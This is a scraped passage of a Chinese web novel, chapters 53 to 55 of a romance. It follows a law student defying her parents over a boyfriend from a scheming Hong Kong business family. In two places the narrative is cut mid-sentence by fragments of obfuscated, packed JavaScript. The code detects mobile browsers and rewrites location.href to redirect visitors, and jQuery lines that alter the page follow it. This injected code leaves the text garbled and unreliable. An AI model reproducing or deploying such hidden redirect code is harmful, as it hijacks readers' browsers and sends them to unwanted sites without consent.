黄亦玫拿过酒瓶,把她和方协文的杯子都填满,又问小初:“小方同学要不要陪我们喝一杯?” “算了吧?”小初不自然地咳嗽了一声,“我又没喝过,很容易醉吧?” 说谎不是她本意,但要是真让她爸妈知道她不仅学会了喝酒,喝醉之后还和一个男的同床共枕了,除了不该发生的剩下的都发生了…… 她必死无疑。 “没喝过才要学一学呢,万一哪天在外面不小心沾了酒就醉了,我和爸爸不是更担心?”黄亦玫不由分说就将小初面前的杯子倒满了酒。 为了避免打扰,他们特意吩咐服务生没事都不要进来。 黄亦玫揶揄,“方师兄,好多年没喝啤酒了,突然感觉自己变年轻了怎么回事?” 方协文笑,“你在我心里本来就永远二十岁好吗?” 小初咳嗽一声,意在提醒这对夫妻,她还在这呢,他们能不能稍微收敛点? 方协文这才像刚看到小初似的,冷哼一声:“更越线的事都做了,一杯啤酒倒为难你了吗?” 小初不敢相信自己听到了什么,忽地一下红了脸。 方协文继续说:“所以,是萧文然把她儿子介绍给你的?” 小初抿唇不语。 黄亦玫也很好奇,“所以铭仔真的只是普通朋友?你不是为了子瑜才来香港的吗?小余同学又是哪个时间点出现的?” 小初有口难言,只是一仰头,把杯子里的啤酒都喝了。 啤酒的味道很奇怪,她被那个味道包裹了意识,好一会儿都没反应过来自己刚刚做了什么。 方协文说:“我不管他是什么时候出现的,但他必须现在给我离开你的生活。” 小初咬唇,抬眸过去,眼底的真实的情绪流淌开来,“为什么?” “因为他姓余,这个理由不够吗?”方协文的脸再次冷下来,“方太初,我自觉我和你妈妈从小到大对你也算倾尽所能来培养的,我们付出这么多,可不是要你自甘堕落,成为人家的消遣的。” “他什么时候消遣我了,爸,你不能想当然地去否定一个人,他是什么人,跟他姓什么有关系吗?”小初抗议。 方协文转向老婆,“你看看这个小白眼狼,现在青出于蓝胜于蓝,比我还恋爱脑了吧?” 黄亦玫起身把小初的酒杯再次倒满,失笑,“老公,你要我公正地说,还是你更恋爱脑一些。” 方协文挥手,“我不管,总之,他们必须给我分手。” 小初没有退缩,“爸,我爱他,你不能这么专断。” 方协文露出一丝玩味的笑:“爱?你几岁啊,敢跟我讨论这个字?” 小初豁出去了,语气额外坚定,“我二十了,爸,我对很多事,已经有了自己的判断。” “比如呢?” “比如。”小初深呼吸,直直看向他,“你口口声声爱我妈妈,为什么互联网上到处都是你的风流传闻?肖小雨和你什么关系?你为什么那么喜欢乐羽飞,除了我,你到底有没有其他私生子女?我不想将来有一天,要和你另外的血脉对簿公堂,爸,你应该知道的,我已经是将你和黄女士的基因发挥到极致的那个样本,很不幸,我还懂法,其他人,没机会赢我的。” 方协文越听脸越黑,半晌,才转向一旁的黄亦玫,“玫瑰,我没听错吧?” 黄亦玫赶紧在桌子底下牵紧老公的手,嗔怪看了女儿一眼:“小初,快给你爸道歉。” 小初咬了咬唇,眼神桀骜,一言不发。 方协文胸腔起伏,声音却有些委屈,“你看!我们当初是不是该多生几个?” 黄亦玫哄道:“多生几个估计也是这脾气,没办法,我的基因太强大。” 小初轻笑:“我四岁你们就离婚了,哪有时间给你多生几个?” 方协文这下是真被气狠了,她最爱的女儿,却句句都往他最脆弱的地方扎,怎么叫他不遍体生寒? 还未等他爸开口,她就又说道:“你们离婚时为我着想了吗?是不是觉得两个人都争先恐后对我好,给钱,给爱,就能理直气壮地去潇洒快活了?我做了你们的人生二十年的观众,现在只需要你们沉默地在座位上坐一会儿,就为难了吗?” 空气瞬间安静下来。 房间里只剩下沙茶火锅还在沸腾。 黄亦玫和方协文都不可置信地看着她,像是看一个陌生人。 最后还是黄亦玫打破沉默,温言道:“对不起小初,当初我和爸爸离婚时,确实以为那已经是为你着想的最好选择了,请你原谅,我们当时只是……”她转过去看了眼老公,“没办法。” 方协文脊背塌在了椅背上,气场正一点点散尽。 小初笑笑,“既然没办法为什么要复婚呢?破镜真能重圆吗?还是说,那又是另一种为我着想?我当时青春期,情绪确实不太稳定,要是给二位造成了困扰,我也道歉。” 方协文这才忍无可忍,抬眸过来,“方太初,你以为你是谁啊?父母也有父母的人生,我们是为你活着的吗?” 小初就等他这句话呢,翘起唇角,“同样逻辑,我也不是为你们活着的吧?你们离婚复婚又什么时候听过我的意见?” 方协文忽地噎住。 黄亦玫赶紧抚了抚老公的手,试图让他冷静下来,但他不知怎么反而更激动了,用另一只手指向小初,“你别忘了,我还是付账单的人。” “方协文!”黄亦玫打断他的口不择言,把杯沿放到他唇边,“你喝口茶。” 小初不甘示弱,回敬道:“方总放心,今天你在我身上花的每一分钱,我将来都会千百倍帮你赚回来的。” 方协文冷哼:“大言不惭,你都恨不得改姓余了,还记得方字怎么写吗?” 小初感觉他爸越来越不可理喻,“我为什么要改姓余,到什么时候他也不可能越过你和我妈去,好吧?” 方协文这才有所缓和,问她,“还回北京呐。” “当然!” “那他呢?” “我怎么知道人家的人生规划?我只能管好我自己。”小初声音渐低,“不过,我相信他能处理好的。” 她肯定不会傻到这个时候提两人约定一年就分手的事,不然肯定又要惹她爸大发雷霆,觉得她被人家消遣而不自知。 然后她又忍不住想,就为了这一年,她竟然对抗父母到这种程度,究竟…… 值得吗? 会不会她在这边为他冲锋陷阵,他那边却已妥协,正在考虑要不要早点结束这段关系? 小初的目光凝在她腕间的卡通手表上。 不会的。 她相信他。 方协文倏地一下起了身,“天真。”然后就大踏步下了楼。 小初愕然,问黄亦玫,“他干什么去了?” “大概是……”黄亦玫眨眨眼,“呼吸一下新鲜空气?” 小初贴到妈妈身边,枕在她的肩膀上,小声说了句,“对不起。” 黄亦玫摸摸她的头发,“为什么事道歉?” “我喜欢了不该喜欢的人,惹父母伤心。” “我们没有伤心,只是有点不知所措。”黄亦玫坦诚,“他们家太复杂。你爸今天跟我说了很多,不仅家族成员私生活上的,这几年经济不太好,他们把很多资产都转移到海外了。” 小初心脏猛地一刺。 “我和爸爸可能比你还天真,心里都有条类似的看不见的准则,跟道德和法律都无关,但,说实话,我们是真的不喜欢这种利字当头的资本家。在这样的家庭长大,小余同学对你有几分真心,你能分辨清楚吗?” “妈……”小初忍不住替他解释,“他也是今天才知道我的身份。” 黄亦玫愣了愣,没应声。 小初又说,“再说,你不觉得文然阿姨和韬韬叔叔还是很好的吗?他们的孩子底色怎么会差呢?” “我们对他们俩当然没意见。文然阿姨之前还帮过我们很多。但也正因为这个,我们更不希望两家因为子女而变得生分。” 小初想了下,如果他们将来分了手,凭两人理智的性格,也还是能做回朋友的吧? 记忆中他手指的触感隔着时空再次让她的身体不由自主颤动了一下,她抿抿唇,不说话了。 很多东西,注定…… 回不去了。 “还有,你以后不许再提你爸私生子的事了啊。”黄亦玫不打算再隐瞒,“你爸早不能生了。” “不能生了?!”小初惊疑出声,“什么时候的事!” 黄亦玫拿了块西瓜塞进她嘴里,嗔怪道,“你小点声!”然后才低声解释,“也是你四岁那年。” “什么?” 小初脑子里百转千回,却也始终没有理解父母之间复杂又深刻的感情,然后她才想起件事来,脸色逐渐泛红,不经意看了黄亦玫一眼,很小声地问道:“那他……你们这么多年……妈,你不觉得自己委屈吗?” “你想到哪去了?”黄亦玫没想到有一天自己竟然会和女儿讨论男人的事,轻咳一声,“他很好。只是做了个小手术,说这辈子除了你,不想再听任何小朋友喊他爸爸。” 小初瞬间瞪大了眼睛,化成了不会思考的雕塑。 黄亦玫回过神来,斜睨她,“你跟小余?” “没有啦!”小初整个人都红成了煮熟的虾子,“他才不是那种人。” 黄亦玫微不可察地挑了挑眉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517264|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吃完火锅,三口人就上了一辆低调的商务车,直奔他们所说的那个在学校附近给她租的房子。 公寓确实不大,虽是两室一厅,但目测面积并没有比余萧弋那边大太多,只是装修豪华些。房间里卫生已经打扫好,到处都亮晶晶香喷喷。 方协文解释,“这边整个市场都是小户型,70平以上的房子就算豪宅了,离你学校都太远。” 小初点头,“你们今晚也住这,那曹旸姐住哪?” “她和阿姨住对门。”方协文脱掉外套挂在衣架上,语气里的警告意味不减,“但你最好别打半夜偷跑出去的主意,你门口的监控二十四小时都有人看着。” “……” 回房间躺到床上,小初才空出时间看邮件和消息。 余萧弋发了好多条过来,才大半天不见,他似乎就再次想她入骨了。 然后见她一直没理他,才又小心翼翼回到了那个问题上,【你爸妈,说什么了吗?】 小初引用了他这一条,回过去,语气故作轻松,【你别乱想,他们什么都没说,只是担心我的安全,在外面给我找了个房子,以后终于不用麻烦你大晚上陪我爬坡回宿舍了。】 他很快回过来,【位置在哪?】 两人查了下地图,这才发现他们俩的住处刚好隔着偌大的学校,在最长的那条对角线上,也不知是巧合还是别的什么。 片刻的沉默之后那边终于发了条语音过来,声音听着有些倦怠和无助,【方太初,我想见你了,就现在,可以吗?】 陌生的环境和床上用品都让她不安和难受,其实刚一进门,她就已经开始想念他温热的怀抱和令人放松的心跳声了,可是她又能怎么办呢? 就这么当着父母的面逃走让他们跟着担心受怕吗? 不可以。 她没资格让全世界都精疲力竭地围着她的爱情转,他们折腾了一天已经很累了。 【我都要睡了。】 【小姐……这才八点。】 小初打开平板,拍了张论文的照片过去,【那我再看会儿这个,等我从北京回来时间就更紧了,你帮我算算这学期还剩几天?】 余萧弋的心蓦地空了一拍,看着手机屏幕,酸涩不受控制地涌上来。 从没有一刻,他如此痛恨自己在数学上的天赋,因为在看到她发的那行字的瞬间,他脑海中就已经跳出了那个他并不想看到的数字。 “Theo,我原以为你和你爸不一样呢,没想到在感情方面还真如出一辙。” 小会客厅里,余蓁蓁漫不经心地开口,“怎样,现在有没有产生一种就算对抗全世界也要得到她的孤勇感?” 楼下主客厅萧文然夫妇和余绍鸿夫妇谈话的声音不停传进耳朵,虽然听不清具体内容,但毋庸置疑,气氛有点紧张。 “你爸当年也在这里做过同样的事,只不过他那个时候有你太奶奶做主撑腰,还不要承担你今天的压力。” 余萧弋又回了小初一条:【那你要记得想我。】 【中午和你分开转身那一刻,我就已经开始想你了。】 她发过来一张她和穿自由女神衣服小熊的合影,【今晚抱他睡。】 她总是这样有办法,只一句就赶走了他眉间的阴霾,【love u】,他发完这条才心满意足锁掉手机,抬头看向余蓁蓁,“我不觉得我需要孤勇啊,姑姑你不是一直在我身后吗?” 余蓁蓁笑骂,“你少来这套,两个都是侄子,手心手背都是肉,Jeo这次回来已经几次力劝你爷爷从大陆撤资加仓海外布局,你以为你和方小姐这事还是简单的恋爱吗?你是在逼你爷爷做决断呢,无论选谁,无论怎么做,无疑都会影响到余家未来至少五十年的运势。” 余萧弋喝口茶,朝余蓁蓁眨眨眼,“姑姑你何必站队,自己做太平公主不好吗,干脆把侄子们都干掉。” 余蓁蓁被他哄笑,又有些没好气,“来你过来,我先打死你试试。” 余萧弋侧耳听了会儿父母和爷爷奶奶的谈话,忽而一笑,“你说错了吧,我爸当年应该比我难多了吧,方太初毕竟不是什么无名之辈,余董这么慧眼如炬,自然看得清未来五十年全世界最好的营商环境和发展机会在哪里。” “不是无名之辈才更要慎重好不好傻仔?你妈妈娶进来起码又能独当一面又给余家添丁,且不会影响大局,这个方小姐……”余蓁蓁至此停住,饶有兴致看了侄子一眼,“我倒是没想到她会是这个来历,难怪之前见面她姿态那么狂妄。” 余萧弋忍不住替小初辩解,“她哪里狂妄了,她就是比较率直,没有那些弯弯绕绕,姑姑你必须爱屋及乌,以后都好好疼她。” 余蓁蓁嘁了一声,“你先抱得美人归再说吧,人家是不是说好了一定要你啊?” 余萧弋噎住。 底下传来老佣人吴妈的声音,“大少爷回来了?你饭吃了没有?厨房煨了鸡汤,要不要帮你盛一碗?” 余珺彦比余萧弋整整大了六岁,在很长一段时间,他都是余家唯一的孙辈,用受尽万千宠爱来形容都丝毫不夸张,尤其他又是在爷爷奶奶膝下长大的,比所有人都更进一层,连家里的佣人似乎都更疼爱他一些。 毕竟,刚刚余萧弋进门的时候,吴妈可没有热切到这种程度。 客厅里的谈话戛然而止。 余蓁蓁给余萧弋递了个眼神,两人默契站起身,一同向楼下走去。 余珺彦的妈曾是港岛风头一时无两的交际花,本身就是中英混血,所以拥有四分之一白人基因的他在外形上占尽优势,不仅身高优越,五官更是深邃俊美,只是站在那,就给人一种风度翩翩的感觉。 “不用了吴妈,我吃过了。”看见客厅里的萧文然夫妇,他也始终笑意不减,似乎早就料到会如此似的,依次礼貌地打了招呼。 唯有看到从楼上一齐下来的余蓁蓁和余萧弋时,瞳孔才微不可察地收缩了一下,下一秒,已恢复如常。 “今天什么日子,家里聚得竟比中秋那天还齐?姑姑。”他朝余蓁蓁笑笑,“你要多回来陪陪爷爷奶奶,爷爷那天还跟我说呢,他近来总是觉得孤独。” 话音一落,萧文然的眉心就骤然一跳。 只有余韬韬无知无觉,剥了颗开心果扔进嘴里,“还是Jeo最乖,最孝顺。” 余蓁蓁先一步跨下楼梯,也跟着笑,“就是,这个家有你在,我们都放心好多。” 余珺彦不置可否,只是像刚看到余萧弋似的,弯起眼角,“Theo,恭喜,没想到方小姐不仅人聪慧可爱,家世也和我们余家如此匹配。” 余萧弋双手插袋,跳下楼梯,只是微微点点头就转向了吴妈,“厨房鸡汤能帮我盛一碗吗?突然想喝。” 又灿笑着问了余蓁蓁一句,“姑姑,你喝吗?” 54.第 54 章 吴妈愣了愣,面色瞬间变得有些不自然,却也只能喏喏称了个——是。 她在这个家已经快三十年,其中大部分时间都在照顾从小没有妈妈陪伴的余珺彦,可以说,她对自己的子女都未必有对他那么尽心尽力。 自然,他对她也很好,两人虽为主仆,却情同母子,所以她一时照顾不到别人的感受也是有的。 但平时,有先生和太太对余珺彦的那份无可替代的偏爱在,从没有人将这件事挑明了拿到面上说过,可今天这二少爷……是什么意思? 她下意识看了眼太太,就往厨房去了。 余薛素心今年已经73岁了,但因为保养得当,看着比同龄人要年轻很多。前一阵参加慈善晚宴还被媒体盛赞状态比某位小她十几岁的女星都好。 接收到吴妈的眼神,她也只是不动声色地低头喝了口茶,白皙手指上的翡翠戒指泛着通透莹润的光,再抬头,眼底已都是笑意,“这么大的人了,还跟小孩子一样,一件玩具,要么没人玩,要么就一群人抢。别人的东西总是更有趣吗?” 余萧弋假装听不懂,撒娇似的在沙发上贴着她坐了下来,“奶奶你说什么呢,我哥怎么能是别人呢?再说,你也不能默认这宅子里所有东西都属于他吧?我喝碗汤都成罪过了。” 好看的孩子连撒娇都那么讨喜,他话音一落,脸就被余薛素心没好气地掐了一下,“好没良心的话,你们哪个奶奶平时不疼?” 余萧弋立刻弯了弯眼角:“我错了。” 余珺彦也笑:“Theo这是吃醋了。” “难道不该吃醋吗?”余萧弋笑得漫不经心,“爷爷奶奶就是疼你多过我。” 余珺彦没好气指了指他,“所以奶奶才说你还是小孩啊,看问题总是看不到本质。” 余蓁蓁笑骂:“你们两个都少在这给我卖惨,余静霆还有静训和静希在澳洲一年也回不来几次,爷爷奶奶想疼都疼不到呢。” 大家都笑起来。 余蓁蓁说的是余巍巍和名媛祁佩霖生的三个孩子,最大的十五岁,最小的才八岁,三年前两夫妻和平离婚后,他们就跟着妈妈移民去了澳洲。 吴妈端着托盘,问余萧弋要不要移步到小饭厅,余萧弋说就这就行,吴妈照做。 余薛素心想起什么,问:“燕窝炖好了也一并端过来吧。”又摸了摸一旁的萧文然的手,满脸关切,“你也喝一盅补补,最近累坏了吧?之前幸亏听你的建议没有投资雅加达的那个项目,不然照着眼下这个动荡的局势……” 她顿住,没再往下说,只叮嘱萧文然务必照顾好自己身体,千万别和孩子们着急,儿孙自有儿孙福,只要不学坏,其他的就都随他们去好了。 这话别有深意,余萧弋正低头喝汤,眼睫不由自主颤了颤。 他们这是……同意了? 萧文然说是,态度无比谦卑而恭顺,“我倒是不操心Theo,他从小到大都懂事又乖,我操心的是Enzo那个混世魔王,明年就要申请大学了,他那个成绩,我是真的不知道该怎么办。就今天,学校老师还投诉说,他在课堂传纸条给别人,不仅如此,他那个同桌,本来是全班最内向的孩子,现在也被他带成老师的心腹大患了。” 话音一落,大家又笑起来。 余绍鸿说:“算了,读书没天分也不代表将来在别的地方不能有一番作为,你们做父母的,多支持他就好了,小朋友最重要人灵活,懂变通,性格开朗。” 余韬韬听了立刻接话道:“爸,你这宠坏一个老三还不够,还要Enzo步他小叔后尘吗?” 他话音一落,萧文然就在桌底踢了他一脚。 余韬韬还有些委屈:“难道我讲错吗?” 萧文然呼吸一滞,抬眸看他一眼:“这燕窝确实不错,你要不尝尝?” “是吗?够甜吗?不甜就算了,你不觉得那玩意一股鸟类的口水味吗?而且科学早证明了,它的营养价值不比银耳高多少。” “……” 同样是被奶奶带大的孩子,他的城府怎么就连余珺彦的万分之一都不如呢?余绍鸿夫妇生他的时候是经验不足忘记放墨盒了吧,两个超级腹黑却生了这个么傻白甜。 全家都有些目瞪口呆。 余萧弋被一口鸡汤呛到,赶紧抽了张纸巾覆住了口鼻。 “伯母。”余珺彦失笑,“关于Enzo学习的事你更不用操心,到时候咱们只要通过基金会捐笔款子出去,美国的藤校还不是任弟弟选,我觉得我们学校就不错,需要的话,回头让我爸和学校那边接触一下,现在基因工程,人工智能,生命科学哪个领域的研究不缺钱?具体事务,我来操作。” 余绍鸿的私人慈善基金是独立于余氏集团运作的,从十年前开始,基金会主席的位子就给了余巍巍,余氏集团每年都会注入一定的资金来保持它的运营。 余萧弋没想到堂哥会主动提这个,不禁愣了愣,一时没想通他是什么意思。 余蓁蓁说:“倒也是个办法。” 余绍鸿也点头:“钱能解决的事情就别逼孩子了,回头再逼出什么问题来,得不偿失。” 萧文然却浅浅喝了口燕窝,笑道:“哈佛?我怕仔仔进得去,回头也毕不了业,他现在英文都成问题呢,外教根本带不动他。” “等过去了,有了语言环境慢慢就好了。” 如此,萧文然也不好说什么了。 一行人又说了会儿闲话,萧文然三人就准备起身离开了,不想这会儿又有人风风火火跑进了进来。 余萧泽一身潮衫,腋下抱着滑板,还在门厅换鞋,就已经朝里面大声喊着:“奶奶,我饿了,不管厨房有什么,先端出来给我吃。” 余薛素心说:“说曹操曹操就到。” 余蓁蓁也笑:“仔仔是不是还在长个子,怎么都这个时间了还在要东西吃。” 佣人们听见了声音,不用吩咐,已经去厨房忙了。 萧文然的眸色瞬间冷了下来,余萧弋挑了挑眉,闲闲起身迎了出去。 余萧泽进客厅对上他妈的视线,就像老鼠见到猫一样,转身就要往外窜逃,不想一把就被他哥揪住了领口,问他:“怎么就走了,饭还没吃呢。” “管你什么事。”余萧泽咬牙切齿,低声道。 “余萧泽。”萧文然的声音淡淡传来,“这个时间你不是应该在上数学课吗?” “哦,数学老师今天家里有事,给我放了假。” 一听,就是他顺口胡诌的。 余韬韬也很生气,过来没好气戳了戳他的头:“还敢说谎?你以为那些金牌老师那么好请?全港不知道多少人在后面排着队呢。你妈妈为了你,百忙之中还要一个一个去跟人家约时间,给你制定课程表,你还没学一道题,她礼物都送出去一打了,你说你怎么这么不争气?” 余萧泽也很心虚,但到了这会儿,他也顾不上那么多了,高声道:“都说了,我根本就不喜欢读那些无聊的科目,我就算出去了也只会学社科学或者艺术,到底为什么要学数学啊!” 余萧弋无语至极,“你到现在还不知道申请大学需要你数学成绩吗?再说了,数学是帮你建立逻辑思维的,脑子里一团浆糊的人还读社科学,你能看懂人家的理论说的什么意思吗?” “你厉害好吧,你最有逻辑。”余萧泽瞪了他一眼。 余萧弋眯了眯眸子,抬手就要打。 却被余珺彦拦住,“算了,仔仔还小呢,慢慢就懂了。” 余薛素心也说,“好歹让他先吃口饭。” 萧文然气得胸腔鼓荡,一分钟在这里也坐不下去了,只丢下句还有工作没完成要回去加个班就大步向外面走去。 余韬韬亦步亦趋跟在后面,“老婆你载我好不好?我没开车。” 萧文然也不看他,只问余萧弋,“Theo你走不走。” 他点点头。 三人呼啦啦出了门,没一会儿,两辆车子就绝尘而去。 只留余萧泽委委屈屈喝着鸡汤,并跟爷爷奶奶撒着娇:“这边的饭都比我爸妈那边的好吃,我今天就住这里好不好?” 一个十七岁的美少年撒娇又有谁挡得住,余绍鸿夫妇被哄得眉开眼笑,不停嘱咐佣人帮三少爷准备好吃的,换床单,打扫房间,房间里的蚊子要捉得一只都不剩才行,蚊香要选植物成分温和不刺激的,毕竟……他们的宝贝孙子还要长身体呢。 平时寂静无聊的大宅忽然热闹起来,到处都是人声,最后连余蓁蓁也看不下去,干脆回绮丽去了。 余萧弋跟在父母后面将车子驶回他们位于白加道的家,一下车,就感觉两人的脸色都不太对,显然不是已经发生过争吵,就是马上要发生争吵了。 他之前还跟方太初说,他长这么大没怎么见过他父母闹不愉快,大概他们夫妻的相处之道就是把门关起来互扇耳光,这下好,他们好像不打算关门,要直接在外面扇了。 “Theo。”萧文然下车后第一句话先叫他,“你这辆车以后别再开了,既然已经被人家曝光到媒体上去了,再过分低调就做作了。车库里车子你随便选一辆,这辆回头我会叫人处理掉。” “不要。”余萧弋急急摆手,“我是说,我可以开别的,但这辆我要留着。” 萧文然不置可否地看了他一眼,大步上了楼。 两个姓余的男人只好跟在后面。 萧文然的脸色一定难看到了极致,连迎在门口的佣人都有些战战兢兢。 太太平时春风和煦的样子都让人不敢怠慢,更何况她狂风暴雨的样子? 三人再次来到上次谈话的小会客厅,这一次余萧弋没忘记打开所有的灯,似乎亮一点,能让他妈妈的心情好一点。 “余韬韬。”萧文然一进门就把她那个上百万的包包摔在沙发上,“我当初就不该嫁给你,你说,你们家到底要磋磨我到什么程度?” 余韬韬愕然半晌,也没明白自己到底错在哪了,他小心翼翼凑过去,摇了摇老婆的手,“怎么好好的,就后悔嫁给我了呢?” “小方太初的信息是不是你说出去的?” 余萧弋骤然抬起头。 “我?我不记得我跟谁说过啊?”余韬韬自省了一下。 萧文然冷笑,“余珺彦呢?” “Jeo?”余韬韬舒了口气,“他是自己人,有什么关系?” 萧文然感觉自己一口气憋在胸口上不来下不去,下一秒,眼泪就簌簌落下来了。 余萧弋长这么大都没看见过妈妈哭,不禁也慌了神,赶紧扯了张纸巾帮她把眼泪擦了,并轻声安慰道:“妈,没事的。我和她不会因为这件事就离心的,她说了,在爱上我的时候就已经接受了我可能给她带来的所有麻烦了。” 萧文然听了这句不仅没有好转,反而哭得更厉害了,直接跌坐在沙发上用掌心覆住了眼睛。 余韬韬也坐了过去,“怎么了老婆?” “余韬韬,我想问问,这么多年,我为你们余家鞍前马后,在我手里过的项目,从没有出过的大的风险和纰漏,怎么就在你父母那得不到一点认可和信任?他们如此防备我,到底为什么?就因为你们家把所有不姓余的都看成外人吗?” 余韬韬说:“怎么会呢?妈今晚不还让下人炖燕窝给你吃,说你辛苦,让你好好补补吗?” 萧文然想不通自己当年的眼光到底哪里出了问题,左右看了看也没找到个趁手的东西能揍他一顿,干脆拿起她那个一百多万的包砸过去:“咱俩过不了了,离……” “老婆!老婆,老婆……” 余韬韬顾不上疼,还未等萧文然那个“婚”字出口,就一把伸手用手覆住了她的嘴,“不许说不好的话,回应验的。我不离婚,你这辈子只有丧偶,离婚这件事,你想也别想。我知道,我是疼Jeo多了点,那还不是因为他从小没有妈妈,他爸又是那么一个不负责任的性子吗,爷爷奶奶再怎么疼他,精力和理念又怎么跟得上呢?你也看见了,他们对Enzo也是只会宠,一点都不会教育的,Jeo这么优秀,是因为他自己上进,不然这孩子也会废掉了。” 余萧弋有些意外,“原来爸你什么都明白啊?” “废话!”余韬韬瞪他一眼,“Jeo把这件事告诉媒体也没坏处,我说了我和你妈妈都不喜欢杨家,这么一来就算你爷爷老糊涂了还打注意让你去联姻,杨家也不会同意了,全港那么多富贵人家,杨敏中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524399|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不是非嫁你不可。” 萧文然和余萧弋均愣在了当地。 “所以,你就别焦虑了。”余韬韬帮老婆擦了擦眼泪,“儿孙自有儿孙福,随他们去吧。” 又转向余萧弋,“爸只能帮你到这了啊,剩下的靠你自己了。” 余萧弋挣扎半天还是没忍住,“她爸妈今天中午就到香港了,然后就不让她和我见面了,你就不怕这药下得太猛,适得其反吗?” 余韬韬意味深长一笑:“谈恋爱谈的就是那个上头的感觉,你不趁双方上头时候让她为你去对抗全世界,后面人家说不定就没那个勇气和决心了。儿子,你不要觉得你自己魅力很大,我说实话,凭小方太初那个长相和家世,她的可选性太多了。你要快,知道吗?” “……” 余萧弋承认,他现在很乱,非常乱。 以及,他爸在谈恋爱这方面,很有点险招。 所以,他妈妈当年该不会就是这样上的当吧?还在上头的时候就被人家绑定了,后面想反悔的时候,来不及了? 只是,他这样,又和她讨厌的其他余家人有什么区别? “余韬韬,你……”萧文然看了她老公半晌,直接忘了哭。 然后才想起什么,“Enzo怎么办,你真让他靠捐款去读名校吗?圈子里这么多花钱出去混学历的,最后哪个出来到社会上真有用了?要是真让他去了,才是害了他。” 余韬韬摆手:“你放心,我不会同意的。再说……” 他顿住,“别人不清楚,你还猜不到老二每年要靠这个基金会搞多少钱到自己腰包里去吗?不然你以为他怎么维持他那个奢靡的生活的?” 萧文然的神情逐渐凝重:“单是搞钱也就算了,他前一段时间和医院合作那个捐赠医疗器械的项目……出了人命了,三条,这件事要是被媒体知道……那才是大祸。” 余萧弋不可置信地看向萧文然,“妈,你怎么知道的?” 余韬韬也震惊到说不出话来。 萧文然没答这个问题,只说,“你知道他那批医疗器械的供应商背后的人是谁吗?” “谁?” “他的情妇,周颖姿。话说回来,你爷爷奶奶大概还不知道他们在外面还有个五岁的孙子呢吧?” 萧文然想起这个就生气,指了指面前两个姓余的男人,“别人我管不着,你们要是敢跟他们有样学样,老的离婚,永不往来。小的断绝母子关系,就当我从未生过你。” 余韬韬马上拥住老婆表决心,眼角弯弯,“放心,老婆,我是什么人这么多年你还不知吗?” 一边说,一边悄悄在背后指了指门的方向,示意余萧弋赶紧走。 余萧弋会意,半分钟后,他已经在楼道里,并帮父母把门掩上了。 然后他就顺着楼梯上了天台,一边吹风一边给小初发消息:【睡了吗?】 小初看论文看得头疼,正换脑子背法条呢,消息提示音一响,倒吓了她一跳。 【没呢。】 她拿着手机,顺势躺在了枕头上,午夜的房间很安静,她听见自己的心脏在不自觉地怦然着,满身的疲惫瞬间被甜蜜的感觉代替。 在她看不见的视角里,床上的少女正因开心而变得明媚而灵动,突然好想他。 【那你爸妈睡了吗?】 小初说:【我去看看。】 余萧弋被她的回答可爱到了,唇角的笑容被风吹得到处都是。 小初蹑手蹑脚下了地,连拖鞋都没穿。 她的房间和父母的房间分别在客厅两侧,她推门出去,发现客厅已关了灯,她向前走了几步,终于确认那个房间的门缝底下也没有光传出来。 也该休息了,这会儿都十一点多了,他们俩大早晨就起来赶飞机,肯定累坏了。 就在她转身的瞬间,却猝然听见黄亦玫的说话声温温柔柔传出来,“想不到,你和文然姐还有这样的缘分。” 本是一句再平常不过的话,可因为“文然姐”三个字,她还是顿住了脚步。 他们的门大概没有关严,以至于她将一切都听得清清楚楚。 “你再说一遍试试呢?”方协文的声音低沉而充满压迫感。 “再说一遍又怎样?”黄亦玫挑衅。 下一秒,里面就传来了她的笑声和闷哼声,很快,这两种声音都沉寂下来,变成了断断续续的呜咽声。 小初突然意识到了两人正在做什么,整个人瞬间被某种尴尬从内而外点燃,直至她回到房间,浑身的皮肤还是热的,红的,像刚泡完温泉又像醉了酒,精神再也无法集中。 救命。 她已不再是无知无觉的年龄,撞见父母亲密行为这种事,倒没有让她觉得不适,只是觉得难为情,午夜本来就是暧昧的时段,她其实还挺羡慕父母这么大年龄了还能有这种情趣的。 【嗯?】余萧弋再次发过来。 她抿抿唇,【睡了。】 【那,要不要视频?】 啊? 她脑子有点懵,在她选择同意或者拒绝之前,视频通话的页面已经跳了出来,那个声音简直大得让人发颤,她赶紧点了接听。 【嗨。】 一如既往的开场白。 【嗨。】 小初从没有和他视频过,不知怎么还觉得有点怪怪的,他那边的光线有点暗,头发被吹得乱乱的,很有种说不清的氛围感。 【你小点声说话,我怕他们听见。】 小初倚在床头上,整个人还都是桃花的颜色。 【你在哪?】 他答:【家里的天台上。】 又问她:【你很热吗?】 【没有啊,怎么了?】 他凑近镜头,整个屏幕只剩下他深情又好看的眼睛,【那怎么整个人这么……明艳?】 【明艳?】 小初低头看了下自己,她穿的是一条白色的纯棉吊带裙,都素成这样了,还哪来的明艳? 下一秒,她就听到他说:【这件衣服真好看,下次,能穿给我看吗?】 【余萧弋!】 小初一把扯过被子盖住自己,【你再胡说我就不理你了!】 55.第 55 章 第二天早晨,小初出门上课。 为了避免吵醒父母,她连洗漱的声音都放得很轻。衣柜里一整排的新衣服,黄亦玫的眼光很好,虽然都是牌子货,但一点不违和她平时的穿衣风格,都是素净又大方的款式。 她随意挑了件白T搭配蓝色牛仔裤,又在外面罩了件藏蓝格子的休闲衬衫,这才一边挽头发一边推开房门,心里想着,这么早,也不知曹旸姐姐起床了没有。 